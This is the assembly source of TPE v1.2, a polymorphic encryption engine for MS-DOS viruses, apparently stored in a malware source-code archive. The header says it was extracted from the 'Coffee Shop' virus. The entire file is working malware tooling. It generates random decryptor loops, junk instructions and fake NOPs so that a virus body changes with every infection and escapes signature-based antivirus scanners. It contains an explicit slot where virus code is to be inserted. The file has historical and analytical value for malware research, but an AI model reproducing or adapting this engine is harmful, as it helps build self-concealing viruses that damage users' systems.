MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.tpe-v12.asm

991 lines
33 KiB
NASM
Raw Normal View History

2021-01-13 00:01:59 +00:00
.radix 16
;-----------------------------------------------------------------------------
;
; TPE v1.2 Source Code
; --------------------
;
; Extracted from Coffee Shop virus by: Lucifer Messiah -- ANARKICK SYSTEMS
;
;-----------------------------------------------------------------------------
.model tiny
.code
public rnd_init
public rnd_get
public crypt
public tpe_bottom
public tpe_top
;****************************************************************************
;* Data area for engine
;****************************************************************************
org 0e0
TPE12:
add_val dw 0
xor_val dw 0
xor_offset dw 0
where_len dw 0
where_len2 dw 0
flags db 0
;****************************************************************************
;* Begin of virus, installation in memory
;****************************************************************************
org 0100
;****************************************************************************
;* Insert virus code here, or compile and link to virus
;****************************************************************************
;****************************************************************************
;*
;* Encryption Engine
;*
;*
;* Input: ES work segment
;* DS:DX code to encrypt
;* BP what will be start of decryptor
;* SI what will be distance between decryptor and code
;* CX length of code
;* AX flags: bit 0: DS will not be equal to CS
;* bit 1: insert random instructions
;* bit 2: put junk before decryptor
;* bit 3: preserve AX with decryptor
;*
;* Output: ES: work segment (preserved)
;* DS:DX decryptor + encrypted code
;* BP what will be start of decryptor (preserved)
;* DI length of decryptor / offset of encrypted code
;* CX length of decryptor + encrypted code
;* AX length of encrypted code
;* (other registers may be trashed)
;*
;****************************************************************************
tpe_top equ $
db '[ MK / Trident ]'
crypt:
xor di,di ;di = start of decryptor
push dx ;save offset of code
push si ;save future offset of code
mov byte ptr ds:[flags],al ;save flags
test al,8 ;push AX?
jz no_push
mov al,50
stosb
no_push: call rnd_get ;add a few bytes to cx
and ax,1F
add cx,ax
push cx ;save length of code
call rnd_get ;get random flags
xchg ax,bx
;BX flags:
;0,1 how to encrypt
;2,3 which register for encryption
;4 use byte or word for encrypt
;5 MOV AL, MOV AH or MOV AX
;6 MOV CL, MOV CH or MOV CX
;7 AX or DX
;8 count up or down
;9 ADD/SUB/INC/DEC or CMPSW/SCASW
;A ADD/SUB or INC/DEC
; CMPSW or SCASW
;B offset in XOR instruction?
;C LOOPNZ or LOOP
; SUB CX or DEC CX
;D carry with crypt ADD/SUB
;E carry with inc ADD/SUB
;F XOR instruction value or AX/DX
random: call rnd_get ;get random encryption value
or al,al
jz random ;again if 0
mov ds:[xor_val],ax
call do_junk ;insert random instructions
pop cx
mov ax,0111 ;make flags to remember which
test bl,20 ; MOV instructions are used
jnz z0
xor al,07
z0: test bl,0C
jnz z1
xor al,70
z1: test bl,40
jnz z2
xor ah,7
z2: test bl,10
jnz z3
and al,73
z3: test bh,80
jnz z4
and al,70
z4: mov dx,ax
mov_lup: call rnd_get ;put MOV instructions in
and ax,000F ; a random order
cmp al,0A
ja mov_lup
mov si,ax
push cx ;test if MOV already done
xchg ax,cx
mov ax,1
shl ax,cl
mov cx,ax
and cx,dx
pop cx
jz mov_lup
xor dx,ax ;remember which MOV done
push dx
call do_mov ;insert MOV instruction
call do_nop ;insert a random NOP
pop dx
or dx,dx ;all MOVs done?
jnz mov_lup
push di ;save start of decryptor loop
call do_add_ax ;add a value to AX in loop?
call do_nop
test bh,20 ;carry with ADD/SUB ?
jz no_clc
mov al,0F8
stosb
no_clc: mov word ptr ds:[xor_offset],0
call do_xor ;place all loop instructions
call do_nop
call do_add
pop dx ;get start of decryptor loop
call do_loop
test byte ptr ds:[flags],8 ;insert POP AX ?
jz no_pop
mov al,58
stosb
no_pop: xor ax,ax ;calculate loop offset
test bh,1 ;up or down?
jz v1
mov ax,cx
dec ax
test bl,10 ;encrypt with byte or word?
jz v1
and al,0FE
v1: add ax,di
add ax,bp
pop si
add ax,si
sub ax,word ptr ds:[xor_offset]
mov si,word ptr ds:[where_len]
test bl,0C ;are BL,BH used for encryption?
jnz v2
mov byte ptr es:[si],al
mov si,word ptr ds:[where_len2]
mov byte ptr es:[si],ah
jmp short v3
v2: mov word ptr es:[si],ax
v3: mov dx,word ptr ds:[xor_val] ;encryption value
pop si ;ds:si = start of code
push di ;save ptr to encrypted code
push cx ;save length of encrypted code
test bl,10 ;byte or word?
jz blup
inc cx ;cx = # of crypts (words)
shr cx,1
lup: lodsw ;encrypt code (words)
call do_encrypt
stosw
loop lup
jmp short klaar
blup: lodsb ;encrypt code (bytes)
xor dh,dh
call do_encrypt
stosb
loop blup
klaar: mov cx,di ;cx = length decryptpr + code
pop ax ;ax = length of decrypted code
pop di ;di = offset encrypted code
xor dx,dx ;ds:dx = decryptor + cr. code
push es
pop ds
ret
;****************************************************************************
;* encrypt the code
;****************************************************************************
do_encrypt: add dx,word ptr ds:[add_val]
test bl,2
jnz lup1
xor ax,dx
ret
lup1: test bl,1
jnz lup2
sub ax,dx
ret
lup2: add ax,dx
ret
;****************************************************************************
;* generate mov reg,xxxx
;****************************************************************************
do_mov: mov dx,si
mov al,byte ptr ds:[si+mov_byte]
cmp dl,4 ;BX?
jne is_not_bx
call add_ind
is_not_bx: test dl,0C ;A*?
pushf
jnz is_not_a
test bl,80 ;A* or D*?
jz is_not_a
add al,2
is_not_a: call alter ;insert the MOV
popf ;A*?
jnz is_not_a2
mov ax,word ptr ds:[xor_val]
jmp short sss
is_not_a2: test dl,8 ;B*?
jnz is_not_b
mov si,offset where_len
test dl,2
jz is_not_bh
add si,2
is_not_bh: mov word ptr ds:[si],di
jmp short sss
is_not_b: mov ax,cx ;C*
test bl,10 ;byte or word encryption?
jz sss
inc ax ;only half the number of bytes
shr ax,1
sss: test dl,3 ;byte or word register?
jz is_x
test dl,2 ;*H?
jz is_not_h
xchg al,ah
is_not_h: stosb
ret
is_x: stosw
ret
;****************************************************************************
;* insert MOV or alternative for MOV
;****************************************************************************
alter: push bx
push cx
push ax
call rnd_get
xchg ax,bx
pop ax
test bl,3 ;use alternative for MOV?
jz no_alter
push ax
and bx,0F
and al,08
shl ax,1
or bx,ax
pop ax
and al,7
mov cl,9
xchg ax,cx
mul cl
add ax,30C0
xchg al,ah
test bl,4
jz no_sub
mov al,28
no_sub: call maybe_2
stosw
mov al,80
call maybe_2
stosb
mov ax,offset add_mode
xchg ax,bx
and ax,3
xlat
add al,cl
no_alter: stosb
pop cx
pop bx
ret
;****************************************************************************
;* insert ADD AX,xxxx
;****************************************************************************
do_add_ax: push cx
mov si,offset add_val ;save add-value here
mov word ptr ds:[si],0
mov ax,bx
and ax,8110
xor ax,8010
jnz no_add_ax ;use ADD?
mov ax,bx
xor ah,ah
mov cl,3
div cl
or ah,ah
jnz no_add_ax ;use ADD?
test bl,80
jnz do_81C2 ;AX or DX?
mov al,5
stosb
jmp short do_add0
do_81C2: mov ax,0C281
stosw
do_add0: call rnd_get
mov word ptr ds:[si],ax
stosw
no_add_ax: pop cx
ret
;****************************************************************************
;* generate encryption command
;****************************************************************************
do_xor: test byte ptr ds:[flags],1
jz no_cs
mov al,2E ;insert CS: instruction
stosb
no_cs: test bh,80 ;type of XOR command
jz xor1
call get_xor ;encrypt with register
call do_carry
call save_it
xor ax,ax
test bl,80
jz xxxx
add al,10
xxxx: call add_dir
test bh,8
jnz yyyy
stosb
ret
yyyy: or al,80
stosb
call rnd_get
stosw
mov word ptr ds:[xor_offset],ax
ret
xor1: mov al,080 ;encrypt with value
call save_it
call get_xor
call do_carry
call xxxx
mov ax,word ptr ds:[xor_val]
test bl,10
jmp byte_word
;****************************************************************************
;* generate increase/decrease command
;****************************************************************************
do_add: test bl,8 ;no CMPSW/SCASW if BX is used
jz da0
test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW
jnz do_cmpsw
da0: test bh,4 ;ADD/SUB or INC/DEC?
jz add1
mov al,40 ;INC/DEC
test bh,1 ;up or down?
jz add0
add al,8
add0: call add_ind
stosb
test bl,10 ;byte or word?
jz return
stosb ;same instruction again
return: ret
add1: test bh,40 ;ADD/SUB
jz no_clc2 ;carry?
mov al,0F8 ;insert CLC
stosb
no_clc2: mov al,083
stosb
mov al,0C0
test bh,1 ;up or down?
jz add2
mov al,0E8
add2: test bh,40 ;carry?
jz no_ac2
and al,0CF
or al,10
no_ac2: call add_ind
stosb
mov al,1 ;value to add/sub
save_it: call add_1
stosb
ret
do_cmpsw: test bh,1 ;up or down?
jz no_std
mov al,0FDh ;insert STD
stosb
no_std: test bh,4 ;CMPSW or SCASW?
jz normal_cmpsw
test bl,4 ;no SCASW if SI is used
jnz do_scasw
normal_cmpsw: mov al,0A6 ;CMPSB
jmp short save_it
do_scasw: mov al,0AE ;SCASB
jmp short save_it
;****************************************************************************
;* generate loop command
;****************************************************************************
do_loop: test bh,1 ;no JNE if couting down
jnz loop_loop ; (prefetch bug!)
call rnd_get
test al,1 ;LOOPNZ/LOOP or JNE?
jnz cx_loop
loop_loop: mov al,0E0
test bh,1A ;LOOPNZ or LOOP?
jz ll0 ; no LOOPNZ if xor-offset
add al,2 ; no LOOPNZ if CMPSW/SCASW
ll0: stosb
mov ax,dx
sub ax,di
dec ax
stosb
ret
cx_loop: test bh,10 ;SUB CX or DEC CX?
jnz cxl_dec
mov ax,0E983
stosw
mov al,1
stosb
jmp short do_jne
cxl_dec: mov al,49
stosb
do_jne: mov al,75
jmp short ll0
;****************************************************************************
;* add value to AL depending on register type
;****************************************************************************
add_dir: mov si,offset dir_change
jmp short xx1
add_ind: mov si,offset ind_change
xx1: push bx
shr bl,1
shr bl,1
and bx,3
add al,byte ptr ds:[bx+si]
pop bx
ret
;****************************************************************************
;* mov encryption command byte to AL
;****************************************************************************
get_xor: push bx
mov ax,offset how_mode
xchg ax,bx
and ax,3
xlat
pop bx
ret
;****************************************************************************
;* change ADD into ADC
;****************************************************************************
do_carry: test bl,2 ;ADD/SUB used for encryption?
jz no_ac
test bh,20 ;carry with (encr.) ADD/SUB?
jz no_ac
and al,0CF
or al,10
no_ac: ret
;****************************************************************************
;* change AL (byte/word)
;****************************************************************************
add_1: test bl,10
jz add_1_ret
inc al
add_1_ret: ret
;****************************************************************************
;* change AL (byte/word)
;****************************************************************************
maybe_2: call add_1
cmp al,81 ;can't touch this
je maybe_not
push ax
call rnd_get
test al,1
pop ax
jz maybe_not
add al,2
maybe_not: ret
;****************************************************************************
;* get random nop (or not)
;****************************************************************************
do_nop: test byte ptr ds:[flags],2
jz no_nop
yes_nop: call rnd_get
test al,3
jz nop8
test al,2
jz nop16
test al,1
jz nop16x
no_nop: ret
;****************************************************************************
;* Insert random instructions
;****************************************************************************
do_junk: test byte ptr ds:[flags],4
jz no_junk
call rnd_get ;put a random number of
and ax,0F ; dummy instructions before
inc ax ; decryptor
xchg ax,cx
junk_loop: call junk
loop junk_loop
no_junk: ret
;****************************************************************************
;* get rough random nop (may affect register values)
;****************************************************************************
junk: call rnd_get
and ax,1E
jmp short aa0
nop16x: call rnd_get
and ax,06
aa0: xchg ax,si
call rnd_get
jmp word ptr ds:[si+junkcals]
;****************************************************************************
;* NOP and junk addresses
;****************************************************************************
junkcals dw offset nop16x0
dw offset nop16x1
dw offset nop16x2
dw offset nop16x3
dw offset nop8
dw offset nop16
dw offset junk6
dw offset junk7
dw offset junk8
dw offset junk9
dw offset junkA
dw offset junkB
dw offset junkC
dw offset junkD
dw offset junkE
dw offset junkF
;****************************************************************************
;* NOP and junk routines
;****************************************************************************
nop16x0: and ax,000F ;J* 0000 (conditional)
or al,70
stosw
ret
nop16x1: mov al,0EBh ;JMP xxxx / junk
and ah,07
inc ah
stosw
xchg al,ah ;get lenght of bullshit
cbw
jmp fill_bullshit
nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg
stosb
ret
nop16x3: call junkF ;INC / DEC or DEC / INC
xor al,8
stosb
ret
nop8: push bx ;8-bit NOP
and al,7
mov bx,offset nop_data8
xlat
stosb
pop bx
ret
nop16: push bx ;16-bit NOP
and ax,0303
mov bx,offset nop_data16
xlat
add al,ah
stosb
call rnd_get
and al,7
mov bl,9
mul bl
add al,0C0
stosb
pop bx
ret
junk6: push cx ;CALL xxxx / junk / POP reg
mov al,0E8
and ah,0F
inc ah
stosw
xor al,al
stosb
xchg al,ah
call fill_bullshit
call do_nop
call rnd_get ;insert POP reg
and al,7
call no_sp
mov cx,ax
or al,58
stosb
test ch,3 ;more?
jnz junk6_ret
call do_nop
mov ax,0F087 ;insert XCHG SI,reg
or ah,cl
test ch,8
jz j6_1
mov al,8Bh
j6_1: stosw
call do_nop
push bx
call rnd_get
xchg ax,bx
and bx,0F7FBh ;insert XOR [SI],xxxx
or bl,8
call do_xor
pop bx
junk6_ret: pop cx
ret
junk7: and al,0F ;MOV reg,xxxx
or al,0B0
call no_sp
stosb
test al,8
pushf
call rnd_get
popf
jmp short byte_word
junk8: and ah,39 ;DO r/m,r(8/16)
or al,0C0
call no_sp
xchg al,ah
stosw
ret
junk9: and al,3Bh ;DO r(8/16),r/m
or al,2
and ah,3F
call no_sp2
call no_bp
stosw
ret
junkA: and ah,1 ;DO rm,xxxx
or ax,80C0
call no_sp
xchg al,ah
stosw
test al,1
pushf
call rnd_get
popf
jmp short byte_word
junkB: call nop8 ;NOP / LOOP
mov ax,0FDE2
stosw
ret
junkC: and al,09 ;CMPS* or SCAS*
test ah,1
jz mov_test
or al,0A6
stosb
ret
mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx
stosb
cmp al,0A8
pushf
call rnd_get
popf
jmp short byte_word
junkD: and al,07 ;XCHG AX,reg
or al,90
call no_sp
stosb
ret
junkE: and ah,07 ;PUSH reg / POP reg
or ah,50
mov al,ah
or ah,08
stosw
ret
junkF: and al,0F ;INC / DEC
or al,40
call no_sp
stosb
ret
;****************************************************************************
;* store a byte or a word
;****************************************************************************
byte_word: jz only_byte
stosw
ret
only_byte: stosb
ret
;****************************************************************************
;* don't fuck with SP!
;****************************************************************************
no_sp: push ax
and al,7
cmp al,4
pop ax
jnz no_sp_ret
and al,0FBh
no_sp_ret: ret
;****************************************************************************
;* don't fuck with SP!
;****************************************************************************
no_sp2: push ax
and ah,38
cmp ah,20
pop ax
jnz no_sp2_ret
xor ah,20
no_sp2_ret: ret
;****************************************************************************
;* don't use [BP+..]
;****************************************************************************
no_bp: test ah,4
jnz no_bp2
and ah,0FDh
ret
no_bp2: push ax
and ah,7
cmp ah,6
pop ax
jnz no_bp_ret
or ah,1
no_bp_ret: ret
;****************************************************************************
;* write byte for JMP/CALL and fill with random bullshit
;****************************************************************************
fill_bullshit: push cx
xchg ax,cx
bull_lup: call rnd_get
stosb
loop bull_lup
pop cx
ret
;****************************************************************************
;* random number generator (stolen from 'Bomber')
;****************************************************************************
rnd_init: push cx
call rnd_init0 ;init
and ax,000F
inc ax
xchg ax,cx
random_lup: call rnd_get ;call random routine a few
loop random_lup ; times to 'warm up'
pop cx
ret
rnd_init0: push dx ;initialize generator
push cx
mov ah,2C
int 21
in al,40
mov ah,al
in al,40
xor ax,cx
xor dx,ax
jmp short move_rnd
rnd_get: push dx ;calculate a random number
push cx
push bx
mov ax,0 ;will be: mov ax,xxxx
mov dx,0 ; and mov dx,xxxx
mov cx,7
rnd_lup: shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_l2
inc al
rnd_l2: loop rnd_lup
pop bx
move_rnd: mov word ptr ds:[rnd_get+4],ax
mov word ptr ds:[rnd_get+7],dx
mov al,dl
pop cx
pop dx
ret
;****************************************************************************
;* tables for engine
;****************************************************************************
; AX AL AH (BX) BL BH CX CL CH
mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
; nop clc stc cmc cli cld incbp decbp
nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh
; or and xchg mov
nop_data16 db 8, 20, 84, 88
; bl/bh, bx, si di
dir_change db 07, 07, 04, 05
ind_change db 03, 03, 06, 07
; xor xor add sub
how_mode db 30, 30, 00, 28
; ? add xor or
add_mode db 0, 0C8, 0F0, 0C0
tpe_bottom equ $
end TPE12